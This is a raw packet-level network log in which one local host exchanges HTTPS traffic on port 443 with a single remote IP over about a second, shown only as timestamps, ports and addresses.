Jul 25, 2024 13:23:41.314372063 CEST	49719	443	192.168.2.6	39.97.203.118
Jul 25, 2024 13:23:41.314428091 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:41.314475060 CEST	49719	443	192.168.2.6	39.97.203.118
Jul 25, 2024 13:23:41.314476013 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:41.314488888 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:41.314532042 CEST	49719	443	192.168.2.6	39.97.203.118
Jul 25, 2024 13:23:41.314826012 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:41.314889908 CEST	49719	443	192.168.2.6	39.97.203.118
Jul 25, 2024 13:23:41.315009117 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:41.315052986 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:41.315069914 CEST	49719	443	192.168.2.6	39.97.203.118
Jul 25, 2024 13:23:41.315076113 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:41.315095901 CEST	49719	443	192.168.2.6	39.97.203.118
Jul 25, 2024 13:23:41.315116882 CEST	49719	443	192.168.2.6	39.97.203.118
Jul 25, 2024 13:23:41.315128088 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:41.315177917 CEST	49719	443	192.168.2.6	39.97.203.118
Jul 25, 2024 13:23:41.315193892 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:41.315243959 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:41.315244913 CEST	49719	443	192.168.2.6	39.97.203.118
Jul 25, 2024 13:23:41.315256119 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:41.315285921 CEST	49719	443	192.168.2.6	39.97.203.118
Jul 25, 2024 13:23:41.315956116 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:41.316023111 CEST	49719	443	192.168.2.6	39.97.203.118
Jul 25, 2024 13:23:41.316029072 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:41.316040993 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:41.316071033 CEST	49719	443	192.168.2.6	39.97.203.118
Jul 25, 2024 13:23:41.316077948 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:41.316104889 CEST	49719	443	192.168.2.6	39.97.203.118
Jul 25, 2024 13:23:41.316109896 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:41.316162109 CEST	49719	443	192.168.2.6	39.97.203.118
Jul 25, 2024 13:23:41.316168070 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:41.316180944 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:41.316205978 CEST	49719	443	192.168.2.6	39.97.203.118
Jul 25, 2024 13:23:41.316211939 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:41.316235065 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:41.316239119 CEST	49719	443	192.168.2.6	39.97.203.118
Jul 25, 2024 13:23:41.316293001 CEST	49719	443	192.168.2.6	39.97.203.118
Jul 25, 2024 13:23:41.316298008 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:41.316340923 CEST	49719	443	192.168.2.6	39.97.203.118
Jul 25, 2024 13:23:41.316754103 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:41.316802979 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:41.316822052 CEST	49719	443	192.168.2.6	39.97.203.118
Jul 25, 2024 13:23:41.316828012 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:41.316858053 CEST	49719	443	192.168.2.6	39.97.203.118
Jul 25, 2024 13:23:41.316875935 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:41.316879034 CEST	49719	443	192.168.2.6	39.97.203.118
Jul 25, 2024 13:23:41.316888094 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:41.316920042 CEST	49719	443	192.168.2.6	39.97.203.118
Jul 25, 2024 13:23:41.316963911 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:41.316999912 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:41.317011118 CEST	49719	443	192.168.2.6	39.97.203.118
Jul 25, 2024 13:23:41.317015886 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:41.317049980 CEST	49719	443	192.168.2.6	39.97.203.118
Jul 25, 2024 13:23:41.317435026 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:41.317491055 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:41.317502022 CEST	49719	443	192.168.2.6	39.97.203.118
Jul 25, 2024 13:23:41.317507982 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:41.317539930 CEST	49719	443	192.168.2.6	39.97.203.118
Jul 25, 2024 13:23:41.317598104 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:41.317647934 CEST	49719	443	192.168.2.6	39.97.203.118
Jul 25, 2024 13:23:41.317653894 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:41.317665100 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:41.317696095 CEST	49719	443	192.168.2.6	39.97.203.118
Jul 25, 2024 13:23:41.317701101 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:41.317727089 CEST	49719	443	192.168.2.6	39.97.203.118
Jul 25, 2024 13:23:41.317730904 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:41.317783117 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:41.317783117 CEST	49719	443	192.168.2.6	39.97.203.118
Jul 25, 2024 13:23:41.317792892 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:41.317840099 CEST	49719	443	192.168.2.6	39.97.203.118
Jul 25, 2024 13:23:41.318389893 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:41.318479061 CEST	49719	443	192.168.2.6	39.97.203.118
Jul 25, 2024 13:23:41.318490982 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:41.318538904 CEST	49719	443	192.168.2.6	39.97.203.118
Jul 25, 2024 13:23:41.400501013 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:41.400577068 CEST	49719	443	192.168.2.6	39.97.203.118
Jul 25, 2024 13:23:41.400624990 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:41.400676966 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:41.400677919 CEST	49719	443	192.168.2.6	39.97.203.118
Jul 25, 2024 13:23:41.400691032 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:41.400723934 CEST	49719	443	192.168.2.6	39.97.203.118
Jul 25, 2024 13:23:41.400796890 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:41.400847912 CEST	49719	443	192.168.2.6	39.97.203.118
Jul 25, 2024 13:23:41.400856972 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:41.400895119 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:41.400904894 CEST	49719	443	192.168.2.6	39.97.203.118
Jul 25, 2024 13:23:41.400911093 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:41.400940895 CEST	49719	443	192.168.2.6	39.97.203.118
Jul 25, 2024 13:23:41.401029110 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:41.401072979 CEST	49719	443	192.168.2.6	39.97.203.118
Jul 25, 2024 13:23:41.401081085 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:41.401118040 CEST	49719	443	192.168.2.6	39.97.203.118
Jul 25, 2024 13:23:41.401289940 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:41.401343107 CEST	49719	443	192.168.2.6	39.97.203.118
Jul 25, 2024 13:23:41.401349068 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:41.401365995 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:41.401403904 CEST	49719	443	192.168.2.6	39.97.203.118
Jul 25, 2024 13:23:41.401424885 CEST	49719	443	192.168.2.6	39.97.203.118
Jul 25, 2024 13:23:41.401613951 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:41.401668072 CEST	49719	443	192.168.2.6	39.97.203.118
Jul 25, 2024 13:23:41.401689053 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:41.401737928 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:41.401751995 CEST	49719	443	192.168.2.6	39.97.203.118
Jul 25, 2024 13:23:41.401763916 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:41.401796103 CEST	49719	443	192.168.2.6	39.97.203.118
Jul 25, 2024 13:23:41.402062893 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:41.402111053 CEST	49719	443	192.168.2.6	39.97.203.118
Jul 25, 2024 13:23:41.402117968 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:41.402137041 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:41.402158022 CEST	49719	443	192.168.2.6	39.97.203.118
Jul 25, 2024 13:23:41.402163029 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:41.402196884 CEST	49719	443	192.168.2.6	39.97.203.118
Jul 25, 2024 13:23:41.402240038 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:41.402291059 CEST	49719	443	192.168.2.6	39.97.203.118
Jul 25, 2024 13:23:41.402296066 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:41.402329922 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:41.402348042 CEST	49719	443	192.168.2.6	39.97.203.118
Jul 25, 2024 13:23:41.402353048 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:41.402384996 CEST	49719	443	192.168.2.6	39.97.203.118
Jul 25, 2024 13:23:41.402616024 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:41.402659893 CEST	49719	443	192.168.2.6	39.97.203.118
Jul 25, 2024 13:23:41.402667046 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:41.402707100 CEST	49719	443	192.168.2.6	39.97.203.118
Jul 25, 2024 13:23:41.402720928 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:41.402779102 CEST	49719	443	192.168.2.6	39.97.203.118
Jul 25, 2024 13:23:41.402789116 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:41.402841091 CEST	49719	443	192.168.2.6	39.97.203.118
Jul 25, 2024 13:23:41.402863026 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:41.402908087 CEST	49719	443	192.168.2.6	39.97.203.118
Jul 25, 2024 13:23:41.402909040 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:41.402921915 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:41.402957916 CEST	49719	443	192.168.2.6	39.97.203.118
Jul 25, 2024 13:23:41.403322935 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:41.403378963 CEST	49719	443	192.168.2.6	39.97.203.118
Jul 25, 2024 13:23:41.403466940 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:41.403513908 CEST	49719	443	192.168.2.6	39.97.203.118
Jul 25, 2024 13:23:41.403537989 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:41.403585911 CEST	49719	443	192.168.2.6	39.97.203.118
Jul 25, 2024 13:23:41.403592110 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:41.403604984 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:41.403634071 CEST	49719	443	192.168.2.6	39.97.203.118
Jul 25, 2024 13:23:41.403656960 CEST	49719	443	192.168.2.6	39.97.203.118
Jul 25, 2024 13:23:41.403687000 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:41.403732061 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:41.403733015 CEST	49719	443	192.168.2.6	39.97.203.118
Jul 25, 2024 13:23:41.403748035 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:41.403770924 CEST	49719	443	192.168.2.6	39.97.203.118
Jul 25, 2024 13:23:41.403790951 CEST	49719	443	192.168.2.6	39.97.203.118
Jul 25, 2024 13:23:41.404512882 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:41.404581070 CEST	49719	443	192.168.2.6	39.97.203.118
Jul 25, 2024 13:23:41.404587984 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:41.404598951 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:41.404633045 CEST	49719	443	192.168.2.6	39.97.203.118
Jul 25, 2024 13:23:41.404664993 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:41.404712915 CEST	49719	443	192.168.2.6	39.97.203.118
Jul 25, 2024 13:23:41.404720068 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:41.404731989 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:41.404776096 CEST	49719	443	192.168.2.6	39.97.203.118
Jul 25, 2024 13:23:41.404800892 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:41.404846907 CEST	49719	443	192.168.2.6	39.97.203.118
Jul 25, 2024 13:23:41.407223940 CEST	49719	443	192.168.2.6	39.97.203.118
Jul 25, 2024 13:23:41.488204002 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:41.488276005 CEST	49719	443	192.168.2.6	39.97.203.118
Jul 25, 2024 13:23:41.488312006 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:41.488377094 CEST	49719	443	192.168.2.6	39.97.203.118
Jul 25, 2024 13:23:41.488378048 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:41.488390923 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:41.488446951 CEST	49719	443	192.168.2.6	39.97.203.118
Jul 25, 2024 13:23:41.488513947 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:41.488588095 CEST	49719	443	192.168.2.6	39.97.203.118
Jul 25, 2024 13:23:41.897599936 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:41.897663116 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:41.897726059 CEST	49719	443	192.168.2.6	39.97.203.118
Jul 25, 2024 13:23:41.897756100 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:41.897789955 CEST	49719	443	192.168.2.6	39.97.203.118
Jul 25, 2024 13:23:41.897818089 CEST	49719	443	192.168.2.6	39.97.203.118
Jul 25, 2024 13:23:41.897874117 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:41.897926092 CEST	49719	443	192.168.2.6	39.97.203.118
Jul 25, 2024 13:23:41.897994995 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:41.898051023 CEST	49719	443	192.168.2.6	39.97.203.118
Jul 25, 2024 13:23:41.898138046 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:41.898191929 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:41.898194075 CEST	49719	443	192.168.2.6	39.97.203.118
Jul 25, 2024 13:23:41.898205996 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:41.898236990 CEST	49719	443	192.168.2.6	39.97.203.118
Jul 25, 2024 13:23:41.898262024 CEST	49719	443	192.168.2.6	39.97.203.118
Jul 25, 2024 13:23:41.898588896 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:41.898658037 CEST	49719	443	192.168.2.6	39.97.203.118
Jul 25, 2024 13:23:41.898663998 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:41.898677111 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:41.898716927 CEST	49719	443	192.168.2.6	39.97.203.118
Jul 25, 2024 13:23:41.898742914 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:41.898792982 CEST	49719	443	192.168.2.6	39.97.203.118
Jul 25, 2024 13:23:41.898806095 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:41.898854971 CEST	49719	443	192.168.2.6	39.97.203.118
Jul 25, 2024 13:23:41.898864985 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:41.898904085 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:41.898917913 CEST	49719	443	192.168.2.6	39.97.203.118
Jul 25, 2024 13:23:41.898925066 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:41.898946047 CEST	49719	443	192.168.2.6	39.97.203.118
Jul 25, 2024 13:23:41.898973942 CEST	49719	443	192.168.2.6	39.97.203.118
Jul 25, 2024 13:23:41.899303913 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:41.899363995 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:41.899365902 CEST	49719	443	192.168.2.6	39.97.203.118
Jul 25, 2024 13:23:41.899374962 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:41.899411917 CEST	49719	443	192.168.2.6	39.97.203.118
Jul 25, 2024 13:23:41.899432898 CEST	49719	443	192.168.2.6	39.97.203.118
Jul 25, 2024 13:23:41.899441957 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:41.899498940 CEST	49719	443	192.168.2.6	39.97.203.118
Jul 25, 2024 13:23:41.899657965 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:41.899701118 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:41.899718046 CEST	49719	443	192.168.2.6	39.97.203.118
Jul 25, 2024 13:23:41.899724960 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:41.899745941 CEST	49719	443	192.168.2.6	39.97.203.118
Jul 25, 2024 13:23:41.899779081 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:41.899831057 CEST	49719	443	192.168.2.6	39.97.203.118
Jul 25, 2024 13:23:41.899838924 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:41.899858952 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:41.899880886 CEST	49719	443	192.168.2.6	39.97.203.118
Jul 25, 2024 13:23:41.899887085 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:41.899909019 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:41.899914980 CEST	49719	443	192.168.2.6	39.97.203.118
Jul 25, 2024 13:23:41.899960041 CEST	49719	443	192.168.2.6	39.97.203.118
Jul 25, 2024 13:23:41.899965048 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:41.900007010 CEST	49719	443	192.168.2.6	39.97.203.118
Jul 25, 2024 13:23:41.900679111 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:41.900746107 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:41.900748014 CEST	49719	443	192.168.2.6	39.97.203.118
Jul 25, 2024 13:23:41.900760889 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:41.900796890 CEST	49719	443	192.168.2.6	39.97.203.118
Jul 25, 2024 13:23:41.900823116 CEST	49719	443	192.168.2.6	39.97.203.118
Jul 25, 2024 13:23:41.900830030 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:41.900839090 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:41.900875092 CEST	49719	443	192.168.2.6	39.97.203.118
Jul 25, 2024 13:23:41.900902987 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:41.900948048 CEST	49719	443	192.168.2.6	39.97.203.118
Jul 25, 2024 13:23:41.900949955 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:41.900960922 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:41.901000023 CEST	49719	443	192.168.2.6	39.97.203.118
Jul 25, 2024 13:23:41.901014090 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:41.901087046 CEST	49719	443	192.168.2.6	39.97.203.118
Jul 25, 2024 13:23:41.901468039 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:41.901530027 CEST	49719	443	192.168.2.6	39.97.203.118
Jul 25, 2024 13:23:41.901534081 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:41.901546001 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:41.901580095 CEST	49719	443	192.168.2.6	39.97.203.118
Jul 25, 2024 13:23:41.901604891 CEST	49719	443	192.168.2.6	39.97.203.118
Jul 25, 2024 13:23:41.901616096 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:41.901659012 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:41.901665926 CEST	49719	443	192.168.2.6	39.97.203.118
Jul 25, 2024 13:23:41.901673079 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:41.901699066 CEST	49719	443	192.168.2.6	39.97.203.118
Jul 25, 2024 13:23:41.901709080 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:41.901730061 CEST	49719	443	192.168.2.6	39.97.203.118
Jul 25, 2024 13:23:41.901736021 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:41.901762009 CEST	49719	443	192.168.2.6	39.97.203.118
Jul 25, 2024 13:23:41.902122974 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:41.902179003 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:41.902179956 CEST	49719	443	192.168.2.6	39.97.203.118
Jul 25, 2024 13:23:41.902190924 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:41.902230978 CEST	49719	443	192.168.2.6	39.97.203.118
Jul 25, 2024 13:23:41.985188961 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:41.985255003 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:41.985290051 CEST	49719	443	192.168.2.6	39.97.203.118
Jul 25, 2024 13:23:41.985302925 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:41.985315084 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:41.985373974 CEST	49719	443	192.168.2.6	39.97.203.118
Jul 25, 2024 13:23:41.985380888 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:41.985392094 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:41.985433102 CEST	49719	443	192.168.2.6	39.97.203.118
Jul 25, 2024 13:23:41.985707998 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:41.985774040 CEST	49719	443	192.168.2.6	39.97.203.118
Jul 25, 2024 13:23:41.985780001 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:41.985790968 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:41.985821009 CEST	49719	443	192.168.2.6	39.97.203.118
Jul 25, 2024 13:23:41.985836029 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:41.985846996 CEST	49719	443	192.168.2.6	39.97.203.118
Jul 25, 2024 13:23:41.985857010 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:41.985887051 CEST	49719	443	192.168.2.6	39.97.203.118
Jul 25, 2024 13:23:41.986092091 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:41.986143112 CEST	49719	443	192.168.2.6	39.97.203.118
Jul 25, 2024 13:23:41.986150026 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:41.986166954 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:41.986191988 CEST	49719	443	192.168.2.6	39.97.203.118
Jul 25, 2024 13:23:41.986198902 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:41.986212015 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:41.986228943 CEST	49719	443	192.168.2.6	39.97.203.118
Jul 25, 2024 13:23:41.986265898 CEST	49719	443	192.168.2.6	39.97.203.118
Jul 25, 2024 13:23:41.986272097 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:41.986316919 CEST	49719	443	192.168.2.6	39.97.203.118
Jul 25, 2024 13:23:41.986545086 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:41.986608982 CEST	49719	443	192.168.2.6	39.97.203.118
Jul 25, 2024 13:23:41.986627102 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:41.986677885 CEST	49719	443	192.168.2.6	39.97.203.118
Jul 25, 2024 13:23:41.986690044 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:41.986742973 CEST	49719	443	192.168.2.6	39.97.203.118
Jul 25, 2024 13:23:41.986763954 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:41.986809015 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:41.986812115 CEST	49719	443	192.168.2.6	39.97.203.118
Jul 25, 2024 13:23:41.986824036 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:41.986850023 CEST	49719	443	192.168.2.6	39.97.203.118
Jul 25, 2024 13:23:41.986877918 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:41.986918926 CEST	49719	443	192.168.2.6	39.97.203.118
Jul 25, 2024 13:23:41.986926079 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:41.986968040 CEST	49719	443	192.168.2.6	39.97.203.118
Jul 25, 2024 13:23:41.987385988 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:41.987452984 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:41.987484932 CEST	49719	443	192.168.2.6	39.97.203.118
Jul 25, 2024 13:23:41.987492085 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:41.987518072 CEST	49719	443	192.168.2.6	39.97.203.118
Jul 25, 2024 13:23:41.987541914 CEST	49719	443	192.168.2.6	39.97.203.118
Jul 25, 2024 13:23:41.987633944 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:41.987696886 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:41.987698078 CEST	49719	443	192.168.2.6	39.97.203.118
Jul 25, 2024 13:23:41.987709999 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:41.987751007 CEST	49719	443	192.168.2.6	39.97.203.118
Jul 25, 2024 13:23:41.987771988 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:41.987827063 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:41.987828016 CEST	49719	443	192.168.2.6	39.97.203.118
Jul 25, 2024 13:23:41.987838030 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:41.987869978 CEST	49719	443	192.168.2.6	39.97.203.118
Jul 25, 2024 13:23:41.987881899 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:41.987891912 CEST	49719	443	192.168.2.6	39.97.203.118
Jul 25, 2024 13:23:41.987899065 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:41.987929106 CEST	49719	443	192.168.2.6	39.97.203.118
Jul 25, 2024 13:23:41.989528894 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:41.989604950 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:41.989635944 CEST	49719	443	192.168.2.6	39.97.203.118
Jul 25, 2024 13:23:41.989644051 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:41.989676952 CEST	49719	443	192.168.2.6	39.97.203.118
Jul 25, 2024 13:23:41.989708900 CEST	443	49719	39.97.203.118	192.168.2.6
Jul 25, 2024 13:23:41.989754915 CEST	49719	443	192.168.2.6	39.97.203.118
Jul 25, 2024 13:23:41.989763021 CEST	443	49719	39.97.203.118	192.168.2.6
